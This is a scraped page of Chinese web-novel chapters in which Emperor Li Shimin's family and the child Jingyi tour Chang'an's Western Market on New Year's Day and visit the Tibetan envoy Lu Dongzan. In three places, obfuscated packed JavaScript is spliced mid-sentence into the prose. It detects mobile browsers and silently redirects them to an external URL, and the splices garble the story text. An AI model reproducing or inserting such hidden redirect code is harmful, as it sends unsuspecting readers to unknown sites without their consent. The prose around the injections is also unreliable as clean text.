“买些新鲜羊肉,晚上包饺子。”魏夫人接话,脸上洋溢着过年的喜气,“他啊,就爱吃我拌的馅儿。” 魏徵难得红了耳根,轻咳一声。两家人又寒暄几句,便各自散去。魏徵夫妇往肉铺去,李世民一行则汇入西市的人潮。 一进坊门,热闹便扑面而来。 左侧空地上,一群昆仑奴正表演驯象。那只披彩绸的小象不过半人高,用灵巧的鼻子卷起摊主备好的花束,一一献给围观的娘子们。被献花的娘子们又惊又喜,娇笑连连,周围看客也跟着起哄。 李治看得眼睛都直了,拽着长孙皇后的袖子:“阿娘!象鼻子好厉害!” “嗯,厉害。”长孙皇后笑着,将他往身边拢了拢。 右侧杂耍班子那里传来阵阵喝彩。一个赤膊壮汉正表演胸口碎大石,另一个汉子抡起大锤——“砰!”石板应声而裂,壮汉却毫发无伤地站起来,抱拳转圈。铜钱如雨点般抛入场中,叮当作响。 “好!”李泰兴奋地拍手,从怀里摸出一把铜钱就要扔,被李承乾轻轻按住:“四弟,莫要太招摇。” 李泰撇撇嘴,还是听话地只扔了几枚。 景颐的注意力却被吐火罗艺人的表演吸引了。那是个侏儒人,他喝了一大口酒,对着火把猛地一喷,“轰!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162157|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一条青白色的火龙从他口中窜出,足足有三丈长,炽烈的火焰在空中翻滚,热浪扑面而来。 “好!!!”铜钱、碎银如雨点般抛入场中。 景颐看得入神,眼睛跟着那青白色火焰移动。那火焰和他平时见的火不太一样,是一种发青发白的、异常炽烈刺目的光。火焰边缘的空气都在扭曲,发出细微的噼啪声。 他下意识看向师父。师父站在人群外围,目光也落在那火焰上,眉头微不可察地蹙了蹙。 “看什么呢这么入神?”李泰凑过来,顺着他的目光看去,“哦,喷火啊,去年就看过了。” “那火……”景颐喃喃,话未说完,肩膀被人轻轻撞了下。 回头一看,竟是秦琼携夫人和两个小孙女站在身后。秦琼今日穿了身褐色胡服,外罩羊皮坎肩,夫人则是一身绛红襦裙,两个小孙女一个七八岁,一个五六岁,都穿着崭新的花袄,手里各拿着一个糖人。 “李公,长孙夫人。”秦琼笑着拱手,“真巧啊。” “秦公也带孙女出来玩?”长孙皇后温声问,目光落在两个小女孩身上,“都这么大了。” 秦夫人笑道:“可不是,这两个丫头从昨儿就念叨,非要来看百戏。” 她看向孩子们,“这是大郎和四郎吧?都成大小伙子了。也长高了。”目光在景颐身上停了停,“这位小郎君是……” “家中晚辈,景颐。”李世民自然道。 景颐扬起笑脸:“秦伯伯、秦伯母安好。” 两个秦家小娘子躲在祖母身后,好奇地探出头打量景颐。稍大些的那个忽然指着景颐的眼睛,小声对妹妹说:“他的眼睛颜色好特别,像阿爷藏的陈年普洱。” 一番童趣言论,众人都笑了。秦琼笑骂:“这丫头!” 寒暄几句,秦琼一家往卖皮影的摊子去了。李世民一行则继续前行,很快被糖画摊吸引。 摊主是个精瘦的中年汉子,铜勺舀起金黄的糖稀,手腕一抖一甩,糖稀如丝线般流淌,眨眼间一只展翅的凤凰就成了形。排队的人里三层外三层,孩子们看得挪不动步。 “我要麒麟!”景颐第一个举手。 “我要蝴蝶!”丽质细声道。 “我要小兔子!”李治扒着摊子边缘踮脚。 李泰最豪气:“给我画条龙!” “龙可费工夫!”摊主笑道,手上却不停。不多时,糖麒麟、糖蝴蝶、糖兔子一一成型,最后那条糖龙更是盘旋生动,龙须纤毫毕现。李泰接过,得意得眉毛都要飞起来。 众人举着糖画继续逛,刚走几步,又碰上了熟人。 绸缎庄门口,房玄龄正负手站在檐下,夫人则在店内与掌柜细说布料。房家两个儿子老老实实地站在父亲身后,眼睛却不住往热闹的街市瞟。 “房公。”李世民含笑上前。 房玄龄闻声转头,先是一愣,随即笑着拱手:“李公也来了?真是巧。” “带孩子见见世面。”李世民道,看向房家两个少年,“二位郎君都长高了不少。” 房家长子沉稳,次子活泼,都拱手见礼。房夫人闻声从店内出来,手里还拿着一匹雨过天青色的蜀锦:“李公、长孙夫人。哟,孩子们都来了。” 长孙皇后与她寒暄起来,两位夫人讨论着布料的质地、颜色、裁什么款式最合适。景颐听着那些吴绫、越罗、蜀锦的名词,似懂非懂,只专注地舔着糖麒麟的角,糖已经开始化了。 正说着,前方传来震天的喝彩声。众人抬头望去,只见程咬金和尉迟恭两家正围在斗鸡场边。程咬金嗓门最大,震得半条街都能听见:“咬它!啄它眼睛!对!就这样!” 他身边站着夫人和两个半大儿子,程夫人一手捂着脸,一手使劲拉他袖子,程咬金却浑然不觉,激动得直跺脚。 尉迟恭则抱着臂站在稍远处,身后是温婉的夫人和独子尉迟宝林。尉迟夫人正低声对儿子说着什么,尉迟宝林却眼睛发亮地盯着场中斗得难分难解的两只大公鸡。 “这两个老货……”房玄龄摇头失笑,眼中却无责怪之意。 李世民也笑:“让他们闹去,一年到头难得松快。” 32.第 32 章 逛到午时,日头当空,众人皆有些疲乏。李世民领着一行人进了一家胡姬酒楼歇脚。 这酒楼名叫醉月楼,两层高,门面装饰极有特色:檐下挂着波斯风格的织锦门帘,门楣上镶着大食来的彩色玻璃片,阳光一照,流光溢彩。推开厚重的胡桃木门,一股混杂着香料、烤肉、葡萄酒的浓郁香气扑面而来。 大堂里座无虚席,人声鼎沸。跑堂的伙计都是胡人少年,穿着紧身胡服,托着铜盘在桌间穿梭如鱼。正中台子上,几个胡姬正在跳柘枝舞,手鼓和琵琶声热闹欢快。 掌柜的是个高昌人,五十来岁,留着山羊胡,见李世民一行人衣着体面、气度不凡,连忙亲自迎上来:“几位客官楼上雅间请!今日元日,雅间不加钱!” 二楼雅间临街,推开雕花木窗就能俯瞰西市街景。房间铺着波斯地毯,墙上挂着大食挂毯,角落香炉里燃着不知名的异域香料,烟气袅袅。 众人刚坐下,门外便传来琵琶声,三个胡姬抱着乐器进来,盈盈行礼。 “客官想听什么曲?”弹琵琶的胡姬操着生硬汉语问,笑容明媚。 李世民笑道:“来首热闹的,应景的。” 胡姬们相视一笑。琵琶弦急拨,如珠落玉盘,筚篥声高亢嘹亮,直冲云霄,手鼓敲出急促多变的节奏。三人合奏一曲《西凉曲》,奏得豪迈奔放,仿佛把大漠风沙、边关铁马都带进了这小小的雅间。 李承乾和李泰听得入神,手指在桌上轻轻打拍子。丽质则盯着胡姬们色彩斑斓的衣裙看,石榴红的窄袖衫,宝蓝色的曳地长裙,金银线绣出繁复的缠枝花纹,行动时环佩叮当。 菜肴陆续上桌:一整只烤得滋滋冒油、外焦里嫩的羊腿,撒着孜然和芫荽;金黄的抓饭,混着胡萝卜丁、葡萄干和碎羊肉;拌着香料的胡豆,麻辣鲜香;还有一壶葡萄美酒,盛在琉璃壶中,紫红晶莹。 李承乾用银刀切下几块块羊腿肉,分给众人。 羊肉外皮酥脆,内里鲜嫩多汁,香料的味道完美渗入每一丝纤维。景颐幸福地眯起眼,腮帮子鼓得像只仓鼠。 吃着吃着,他的目光又飘向窗外。街对面有家吐蕃人开的香料铺子,招牌上写着吐蕃文和汉文对照的雪域香铺。几个吐蕃汉子正在卸货,他们身材高大,穿着皮袍,抬着沉重的柏木箱子。 其中一口箱子的缝隙松了,漏出些暗红色的粉末。一个汉子连忙用手捂住,神色紧张地四下张望,然后迅速将箱子抬进店里。 那粉末……景颐微微睁大眼睛。他在梦里见过类似的颜色,在雪山之巅的祭坛上,老喇嘛将这种粉末撒入火中,火焰瞬间变成诡异的青白色。 “景颐?”长孙皇后温和的声音唤回他的注意,“可是累了?还是菜不合口味?” “没、没有。”景颐连忙摇头,埋头继续啃羊腿,心里却记下了那家香料铺。 李世民顺着他的目光看向窗外,神色若有所思。他低声对身旁的李承乾说了句什么,太子殿下点点头,起身下楼去了。 饭后继续逛,景颐拉着丽质和李治跑到了卖皮影戏的摊子。 摊主是个白胡子老翁,手里提线操控着两个尺许高的皮影:一个是白脸奸臣,一个是红脸忠良。 木偶在老翁手中活灵活现,翻筋斗、甩袖子、捋胡子,正在演《长坂坡》。周围围了好几层孩子,个个仰着小脸,看得目不转睛。 长孙皇后则在粟特布庄挑选丝绸。老板娘是个精明的粟特妇人,摊开一匹匹流光溢彩的绸缎,在阳光下闪闪发光。 “夫人好眼力!这匹海棠红的吴绫,最适合给小娘子做春衫,衬得小脸粉扑扑的!”老板舌灿莲花。 长孙皇后笑着挑选了几匹,给丽质做衣裳,也给景颐挑了匹月白色的软缎:“颐儿皮肤白,穿这个颜色好看。” 李世民与长琴并肩走着,看似闲谈,实则交换着信息。两人走在稍微僻静些的巷子里,避开主街的喧嚣。 “先生觉得那火焰如何?”李世民低声问,他想起那吐火罗艺人喷出来的非同寻常的火焰。 “非寻常凡火。”长琴简答,声音只有两人能听见,“其中有硝石、硫磺之气,配比颇为巧妙。比王匠人他们试出来的,似乎更稳定。” 李世民颔首。这正是他所关心的火药配方。梦中那惊天动地的威力,必须有稳定可控的配方才能实现。 “那些波斯人、吐火罗人,”李世民沉吟,“他们或许真有独到之处,我已让高明去打听那杂耍班子的来历。” 正说着,前方巷口传来熟悉的笑声。众人抬头,只见禄东赞正从一家玉器铺走出来,身边跟着两个吐蕃随从。 这位吐蕃大论今日换了身打扮:唐式深紫色圆领锦袍,头戴黑色软脚幞头,腰束玉带,足蹬乌皮靴。若不细看那赭面涂膏和耳上的金环,倒像个气度雍容的长安富商。 “李公!”禄东赞眼尖,先拱手行礼。他心思深,知道此刻不便称“陛下”。 “禄公。”李世民含笑颔首,“今日也来逛市?真是巧遇。” “元日闲来无事,买些小玩意儿。”禄东赞晃了晃手中的锦盒,目光扫过李世民身后的众人,一番寒暄后,目光最后落在景颐脸上,停留的时间稍长了些,“这位小郎君是……” “家中晚辈,排行最幼,小名景颐。”李世民介绍得极其自然,仿佛景颐真是他子侄。 禄东赞弯腰看向景颐,笑容和善可亲:“好名字,好面相。” 他上下打量景颐,那双精明的眼睛里闪过一丝几不可察的讶异,随即恢复如常,“我与小公子有缘。” 说着,他从怀中取出那串紫檀念珠,在手中捻了捻,解下一颗珠子,正是那颗刻着鹰纹的。 “这个送小公子玩,新年讨个吉利。” 景颐愣了愣,看向长琴。先生立在几步外,微微点头。 “谢谢禄伯伯。”景颐双手接过珠子,触手温润微凉。鹰纹在阳光下清晰可见,翅膀张开,利爪前伸,眼睛处用极细的金粉点了睛,栩栩如生。 禄东赞直起身,对李世民道:“李公若得闲,三日后,正月初四,吐蕃使馆有场小宴,专请长安的几位友人。届时,有些有趣的东西可看。” 这话说得意味深长。李世民会意:“禄公相邀,一定叨扰。初四何时?” “酉时。使馆就在醴泉坊,离西市不远。”禄东赞从袖中取出一张洒金帖子,双手奉上,“这是请柬。李公可携家眷同来,小郎君若来,会更热闹。” 李世民接过请柬,收入怀中:“一定到。” 禄东赞又行一礼,带着随从告辞离去。走出几步,他回头看了景颐一眼,目光在那颗被孩子握在手中的念珠上停留一瞬,这才真正离开。 景颐握着珠子,脑海里闪过支离破碎的画面: 雪山之巅的古老寺庙,殿内酥油灯昏暗摇曳,一位皱纹如沟壑的老喇嘛,将那串念珠郑重地放在年轻禄东赞手中,嘴唇翕动说着什么。 然后画面一转,同一串念珠被握在一只沾满血污、青筋暴起的手中,对着如血的夕阳高高举起…… 他打了个寒噤。 “冷了吗?”长孙皇后关切地过来,替他拢了拢兔毛坎肩。 景颐摇摇头,将念珠小心地收进怀中内袋。珠子贴着胸口,冰凉冰凉的,和祝融给的温润玉锁形成鲜明对比。 日头渐渐西斜,西市的人潮散了不少。 众人逛了大半天的西市,在返回的路上,又碰到了几个熟人。 玉器铺门口,萧瑀正拿着支青玉簪给夫人试戴,见李世民一行,连忙放下簪子上前见礼。萧夫人脸色微红,却大大方方地向长孙皇后问好。 书铺前,虞世南老先生正捧着一卷《兰亭序》拓本细看,鼻尖都快贴到纸上了,见到李世民,激动得差点把拓本掉地上。还是书铺掌柜眼疾手快接住,连声说“虞公小心”。 甚至在卖傀儡戏的摊子前,还碰上了李靖夫妇。李靖今日难得穿常服,夫人红拂女则是一身墨绿劲装,两人正看着傀儡戏。见到景颐,李靖表情复杂,显然想起了那场哪吒公案。 景颐有些不好意思地往长孙皇后身后躲了躲。红拂女却笑了,从摊上买了个小老虎傀儡塞给他:“拿着玩。下次再梦见药师欺负哪吒,你就拿这老虎咬他。” 她说话爽利,众人都笑。李靖无奈摇头,眼底却也带着笑意。 景颐脸红着接过傀儡,深褐色的眼眸眨了眨,小声道:“谢谢伯母。” 一路走一路遇,到酉时初,几乎半个朝廷的重臣家眷都碰了个遍。李承乾小声道:“阿耶,今日长安城里的贵人,怕是都聚到西市来了。” “一年到头,难得松快。”李世民看着熙攘的人群,笑容温暖,“君臣同乐,百姓安康,这才是我想要的大唐。” 夕阳西下时,橘红色的晚霞铺满了西市上空。灯笼陆续点亮,暖黄的光晕与晚霞交融,将整条街染成一片温暖的橘金色。 众人踏上归途,孩子们都累了,爬上马车时个个呵欠连天。 前车里,李治枕着长孙皇后的腿睡着了,小嘴微微张着,发出均匀的呼吸声。丽质也闭目养神,手里还攥着那支绒花牡丹。 后车的李承乾和李泰并肩坐着,低声讨论今日见闻,语气是难得的轻松融洽。 “四弟,你看见那只黑公鸡没有?一翅膀扇掉红鸡三根尾羽!” “看见了!不过红鸡更狠,专啄眼睛——诶,大兄,你说耶耶让打听的那个波斯班子,会不会是……” 回去路上,李世民并未骑马,他坐在车上,握着长孙皇后的手,拇指轻轻摩挲着她手背。车厢随着街道微微摇晃,窗外是渐次亮起的万家灯火。 “今日玩得可开心?”李世民温声问。 “开心。”长孙皇后微笑,眼中却有淡淡的忧色,“只是二郎……禄东赞那宴,您真要去?还带着高明他们?” “去。”李世民目光坚定,“他要给我看的有趣的东西,或许正是我需要的。至于高明、青雀……他们总要知道这些。” “火药?” “不只是火药。”李世民望向窗外渐暗的天色,“吐蕃的诚意,西域的动向,还有……未来的路。禄东赞在长安近一载,他看到的、想到的,或许比我们这些身在局中的人更清楚。” 长孙皇后沉默片刻,轻声道:“那颐儿呢?也要带他去?” “禄东赞特意点了名。”李世民沉吟,“而且那孩子,似乎对某些东西特别敏感。今日他看那火焰、看那香料铺的神色,你也看见了。” “妾就是担心这个。”长孙皇后握紧了他的手,“颐儿还小,那双眼睛又太干净,不该过早沾染这些……” “有长琴先生在。”李世民安慰道,“他会护着那孩子的。” 马车驶过朱雀大街,宫门在望。长安城的万家灯火次第亮起,炊烟袅袅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170883|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气中飘荡着年夜饭的香气。远处坊间传来隐约的爆竹声,那是顽童在偷放未放完的炮仗。 李世民掀开车帘,望着这座他深爱的城市。街边一户人家门口,老翁正抱着小孙子贴年画,孩童清脆的笑声在暮色中格外悦耳。 “观音婢,”他轻声对身旁的皇后道,“你看,多好。” 长孙皇后微笑点头,将睡着的李治搂得更紧些。 马车驶入宫门,将市井的喧闹留在身后。但那些笑声、那些烟火气、那些平凡而温暖的瞬间,已经深深印在每个人心里。 这是贞观五年的正月初一。 这是正在苏醒的长安。 这是李世民治下,万民同乐的大唐。 回到凝云轩时,天已全黑。宫灯在廊下亮起,在积雪上投下昏黄的光晕。 景颐将今日所得一一摆在榻上:禄东赞送的刻鹰念珠、丽质给的绒花牡丹、李治分的已经化了一半的糖人、长孙皇后挑的月白软缎、还有他自己的小泥哨,吹起来声音像鸟叫。 长琴煮了壶庐山云雾,茶香清冽。他坐在景颐对面,素白的手指执起青瓷茶杯,热气袅袅上升。 “师父,”景颐戳着那颗念珠,鹰纹在烛光下仿佛在动,“今天那个喷火的艺人,用的火和李叔叔研究的火,是一样的东西吗?” “同源不同流。”长琴啜了口茶,“硝石、硫磺、木炭,这三样,无论波斯艺人还是大唐匠人,用的都是这些。但艺人的火,求的是炫目、惊险,一瞬间的灿烂,陛下要的火,求的是威力、可控,能长久使用的利器。” “那禄伯伯要给我们看的呢?”景颐追问,“也是火吗?” 长琴沉默片刻。烛火在他清冷的眸中跳跃,映出深邃的思索。 “或许是,另一种可能。”他缓缓道,“吐蕃地处高原,雪山之中有许多中原没有的矿物。他们的苯教巫师、佛教僧人,也传承着古老的火祭仪式。禄东赞要展示的,可能是吐蕃人对火的理解与应用。” 景颐似懂非懂地点点头。他举起那颗念珠对着烛光看,眸中鹰纹仿佛活了过来,展翅欲飞。 “师父,”他忽然问,“为什么禄伯伯要特意送我这个?这么多人,他只给了我。” 长琴放下茶杯,目光落在念珠上:“因为这颗珠子,能认人。” “认人?” “嗯。”长琴伸手,景颐将念珠放在他掌心。师父闭目片刻,再睁眼时,眸中有淡淡的金芒流转,那是极少见的、动用神力的征兆。 “这念珠浸过雪山圣湖的水,受过百位喇嘛的加持,也……沾过持有者的血。” 长琴声音平静,说出的内容却让景颐打了个寒噤,“它能感应到特别的气息。禄东赞给你,或许是因为他感应到了你身上的特别之处。” “什么特别之处?”景颐紧张地问。 长琴将念珠还给他,眼中的金芒散去,恢复平日的清冷:“你是麒麟,你的血脉,你的梦境,你看到的过去与未来,这些在禄东赞那样修为的人眼中,就像黑夜中的灯火一样显眼。” 窗外传来更夫打更的声音,清脆的梆子声在寂静的宫城中回荡:戌时到了。 长安城的新年第一日,在万家灯火、隐约的爆竹声、还有更夫悠长的“天干物燥,小心火烛——”的吆喝声中,缓缓落下帷幕。 景颐将念珠小心地收进一个小锦囊,和父亲给的鳞片放在一起。 他有些被师父说的话吓到,觉得这种东西还是跟爹爹的鳞片放在一起,把它给镇住比较安心。 他躺下时,窗外飘起了细雪。雪花在宫灯的光晕中旋转飘落,悄无声息地覆盖了白日里热闹的街市,覆盖了马车碾过的痕迹。 而在长安城醴泉坊的吐蕃使馆内,禄东赞正站在院中仰望飘雪。他手中捻着剩下的念珠,口中低声念诵着经文。 “大论。”一个随从恭敬地呈上一卷羊皮,“长安城内擅长火器的匠人名录,还有波斯、吐火罗艺人的落脚处,都查清楚了。” 禄东赞接过羊皮卷,却没有立刻看。他的目光投向皇宫方向,那眼睛里闪过复杂的神色。 “三日后的宴会,都准备妥当了?” “一切就绪。只是……”随从犹豫道,“真要给天可汗看那个?万一他……” “他不会。”禄东赞打断他,语气笃定,“他不是颉利可汗,他要的不是征服吐蕃,而是一个稳定的大唐西屏。我们给他看诚意,他才会给我们想要的。” 雪花落在他肩上,很快融化成细小的水珠。禄东赞转身进屋,羊皮卷在手中握紧。 而在凝云轩,景颐已经沉入梦乡。梦中,他又看见了雪山,看见了寺庙,看见了老喇嘛和年轻的禄东赞。但这一次,梦境的画面更清晰了。 老喇嘛的嘴唇翕动,他终于听清了那句话: “……雪山的儿子,记住:火可以取暖,也可以焚身;可以照亮前路,也可以烧毁来路。如何用它,全在你的心。” 然后画面一转,不再是夕阳下的血手,而是年轻的禄东赞跪在雪山祭坛前,将念珠浸入一盆清澈的雪水中,水慢慢变成了淡红色。 念珠再取出时,每颗珠子上都浮现出淡淡的鹰纹。 景颐在梦中皱了皱眉,翻了个身。怀中的锦囊里,那颗刻鹰念珠微微发烫,鳞片则散发出柔和的凉意,两股气息相互抵消,最终归于平静。 窗外,雪越下越大了。 33.第 33 章 初二的天阴沉沉的,院中飘着碎雪。景颐趴在窗边,眼睛追着窗外乱飘的雪花,手里还捏着半个没吃完的桂花糕。 丽质和李治窝在榻上翻一本《山海经》绘本,李泰则凑在旁边指指点点,圆脸上写满“我什么都懂”的得意。 “看,这个是九尾狐。”丽质翻过一页,声音细细的。 “九尾狐有什么稀奇。”李泰探身翻过两页,手指戳着彩图,“这是麒麟!景颐,你认识吗?” 景颐回头瞄了一眼,绘本上的麒麟五颜六色,鬃毛像火焰,蹄子像鹿,尾巴像牛。他诚实地说:“不太像。” “你见过?”李泰眼睛亮了。 “嗯……”景颐顿了顿,想起师父的叮嘱,连忙改口,“书上看过,不是长这样的。” 李治压根没注意他们在说什么,小手戳着书页上一只白泽,画上的神兽通体雪白,头生双角,姿态优雅,眉目间带着几分超然出尘的清隽。 “这个有点像先生。”李治认真道。 屋里静了一瞬。丽质仔细看了看画,抿嘴笑:“是有些神似。” 景颐立刻从窗边转过头,耳朵尖红红的:“才不像!” “哎?”李治眨巴眼,“可是很好看呀。” “师父比这个好看多了!”景颐理直气壮,“真的白泽我也见过,根本没有师父好看!” 李泰噗嗤笑出声:“你还见过真的白泽?” 景颐顿时语塞,闷闷地把脸扭回窗外。 丽质抿嘴笑,轻轻推了推李治,小家伙懵懵懂懂,还举着书想再端详端详,被姐姐按下了手。 闯边传来景颐极小声的嘟囔:“……就是比它好看嘛。” 屋里没人接话,只有闷闷的笑声此起彼伏。 门帘微动,长琴从内室出来。笑声戛然而止,几个孩子迅速低头,假作专心看书。景颐也飞快转回去,后脑勺对着师父,脊背绷得笔直。 长琴没有揭穿,他只在景颐身后停了一步,温声道:“明日吐蕃使馆之约,陛下要带你同去。” 景颐回头,眼睛亮起来:“禄伯伯那里?” “嗯。” 那颗鹰纹念珠还收在枕下荷包里,这两日,它总是温温的,像有什么话想说。 初三是个晴天,雪后初霁,长安城难得干冷清爽。 景颐被李世民一把捞上马背时,整个人还没反应过来,只觉眼前一花,人已稳稳坐在了乌骓马的鞍前。 “坐稳了。”李世民的声音从头顶传来,带着笑意,双臂从他身侧穿过,稳稳控着缰绳。 景颐两只手不知道该往哪儿放,下意识攥住了马鬃。乌骓打了个响鼻,耳朵向后转了转,倒也没恼。 “莫揪鬃毛,它怕疼。”李世民握着他的手放到马鞍前桥,“扶着这儿。” 景颐乖乖扶着,脊背紧贴皇帝伯伯温热的胸膛,眼睛瞪得圆溜溜。他骑过师父的鹤、骑过爹爹跑没影的云,但骑马,还是头一回。 乌骓迈开步子,稳健从容。景颐随着马背起伏轻轻颠着,起初有些紧张,渐渐便松快了。迎面有风,带着雪后特有的清冽气息,灌进他衣领里,他却不觉冷。 身后,长琴策着青骢马不紧不慢跟着。 “先生。”李世民微微侧头,“那吐蕃火硝之事,先生怎么看?” 长琴沉默片刻:“纯度高,非中原常见。应是天然矿脉。” “比之大唐所产?” “大唐硝石多出于老墙土、盐碱地,提纯费力,杂质甚多。”长琴声音平淡,“吐蕃若真有此矿,于陛下所谋之事,事半功倍。” 李世民点了点头,没有再接话。马蹄踏过积雪未消的石板路,发出细碎脆响。 李泰策马跟在父亲侧后方。他今日难得安分,不催马、不嚷嚷,只时不时瞟一眼被李世民拢在身前的景颐,表情有些微妙。 昨儿是他把景颐捞上车的,今儿景颐却被他阿耶捞上马了。 李承乾与他并辔,见四弟神色,低声问:“怎么?” “……没什么。”李泰收回目光,干咳一声,“就是觉得,景颐怪会挑地方的。” 李承乾看他一眼,没接这茬。 吐蕃使馆在朱雀街东第三坊,三进院落,门脸不大。自禄东赞去年入长安,这里便常有各色人等出入。有做皮毛药材生意的胡商,有礼部鸿胪寺的官员,也有从雪域高原风尘仆仆赶来的信使。 使馆门口,禄东赞亲自迎候。他今日换了身藕褐色吐蕃长袍,腰间系着银链,那串紫檀念珠就挂在银链上。见李世民策马而来,怀中拢着个穿兔毛坎肩的小小身影,他微微怔了怔,随即含笑抚胸。 “陛下一路辛苦。” 李世民翻身下马,顺手把景颐也抱下来。小家伙脚沾地时还晃了晃,被李承乾笑着扶住。 众人入了使馆正堂。堂中没有歌舞,也没有太多侍从,只摆了几张矮案,案上置着酥油茶、糌粑、风干肉等吐蕃吃食,还有一炉烧得正旺的炭火。 禄东赞亲自为每人斟上酥油茶。李泰端起来抿了一口,眉头微皱,还是咽了下去。景颐小口啜饮,觉得有点像玄女姐姐从前从不知哪儿带回来的奶茶,只是少了蜜糖。 “陛下可知,”禄东赞放下茶壶,开门见山,“吐蕃高原,有一种东西,叫做火硝。” 李世民执杯的手微顿。 “高原寒冷,牛羊常冻毙。牧民们发现,有一种白土混着木炭点燃,能发高热、生猛火,比寻常柴炭旺数倍。” 禄东赞从袖中取出一只小铜盒,打开,里面是灰白色的粉末,“这便是火硝,我们在雪山下挖到的。” 长琴目光落在那粉末上,纯度极高,远超中原所产。 “吐蕃愿将火硝献于大唐。”禄东赞合上铜盒,推至李世民面前,“三年,每年一千斤。作为交换,大唐需在松州开榷场,允吐蕃以马匹、药材换取茶叶、丝绸。” 李世民没有立刻答话。他端起酥油茶饮了一口,让那咸香醇厚的滋味在喉间缓缓化开。 “大论的条件,并不苛刻。” 禄东赞笑了:“因为吐蕃所求,从不是一时之利。”他顿了顿,声音低了些,“赞普年方十三,却已立志,吐蕃要强大,不与大唐为敌,而要成为大唐最可靠的盟友。” 李承乾安静听着,手指在膝上缓缓收紧。他看向父亲,见父亲神色平静,只点了点头:“朕需与朝臣商议。” “自然。”禄东赞颔首,话锋一转,“除此之外,还有一件私事。” 他看向景颐。 “小郎君。”禄东赞声音温和,“那颗念珠,你可带在身上?” 景颐点头,从贴身荷包中取出鹰纹念珠,摊在小小的掌心里。 禄东赞望着那颗念珠,目光悠远,仿佛透过这颗紫檀珠子,看见了另一段时光。 “吐蕃传说,雪山神山上有一种鹰,生来便向最高处飞,至死方休。”他缓缓开口,“凡人在世间,也当如鹰,寻到属于自己的那座山,然后穷尽一生,飞向它。” 他顿了顿:“这颗念珠的主人,是我的上师。” 堂中静了一瞬。 “我幼时在雅砻河谷放羊,父母亡于疫病,族中无人肯收留。”禄东赞声音平淡,像在说旁人的故事,“上师路过河谷,见我一个人缩在羊圈里,三日没吃东西。他什么也没问,只把我抱上马背,带回了他那座小寺。” “那座寺很小,只有三间屋,一尊铜佛,满院子晒的药材。上师白天教牧区来的孩子认字,夜里在灯下抄经。他抄经时,我就坐在门槛上看星星,他把星星的名字一个个指给我,那是天狼,那是参宿,那是北斗。” 景颐安安静静听着,攥着念珠的手渐渐松了。 “我跟着他二十年。他教我念经、认药、说汉话,教我吐蕃之外还有广阔的世间。”禄东赞的指尖轻轻拂过银链 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176082|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的念珠,“二十年后,赞普召我入逻些,我再回寺时,上师已经病了。” “他躺在床上,瘦得像一捆干柴。眼睛却还亮,还认得我。”禄东赞顿了顿,嗓音微微低哑,“他把这串念珠一颗颗捻过去,念了一夜的经。念到这颗鹰纹珠时,他睁开眼,对我说,‘你该去长安了。有人在等你。’” “我问他在等谁。他没答,只笑了笑,说:‘等到了就知道了。’” 禄东赞抬起头,看着景颐,目光温和如旧,只有眼角浅浅的细纹泄露了年岁与风霜。 “我等了很久,直到除夕宫宴,隔着满殿的灯火,远远看见你。” 他看着那个捧着念珠、眼眸清澈如泉的孩子,轻声道:“上师托我交托的人,原来是你。” 景颐垂下眼帘,看着掌心那颗小小的鹰纹念珠。那双暗红的鹰眼,在正午日光下泛着温润的光泽,不再像血,倒像落日时分雪山尖那一抹温暖的余晖。 “……他叫什么名字?”景颐小声问。 禄东赞沉默良久,低声道:“久美。在吐蕃话里,是‘无畏’的意思。” 景颐把念珠轻轻攥住。 他不知道该说什么,只是忽然觉得,这颗珠子不那么沉了。 窗外,正午的日光朗朗照着,雪后长安,万里无云。 禄东赞直起身,为众人续上热茶,语气恢复如常:“火硝之事,陛下从容考虑便是。今日请诸位来,本就是为了这一面之缘。” 李世民点头,却没有立刻告辞。他看着茶碗中浮着薄酥油的热汤,想起方才景颐问的那句“他叫什么名字”。 是个叫“久美”的老人。 在雪山脚下教孩子认字、在夜里指星星给牧羊少年看。临终前,还惦记着有人等在千里之外的长安。 他端起茶碗,一饮而尽。 “三日后,朕给大论答复。” 禄东赞抚胸行礼,深深俯首。 回程的马蹄声踏破朱雀大街的残雪。 景颐仍然被李世民拢在身前。乌骓走得比来时慢,像是知道背上的孩子正有些犯困。景颐攥着那颗念珠,眼皮一点点往下坠,脑袋一点一点,像只啄米的小鸡。 李世民垂眸看他,放低了声音:“困了?” “没……”景颐含糊应着,尾音却黏成一团。 身后,长琴策马跟上,将鹤氅解下递过来。李世民接过,裹在景颐身上。小家伙往那带着清冷梅香的氅衣里缩了缩,彻底睡着了。 李泰策马上前与父亲并辔,压着嗓子问:“阿耶,那位上师等的就是景颐吗?” 李世民看着怀中熟睡的孩子,没有回答。 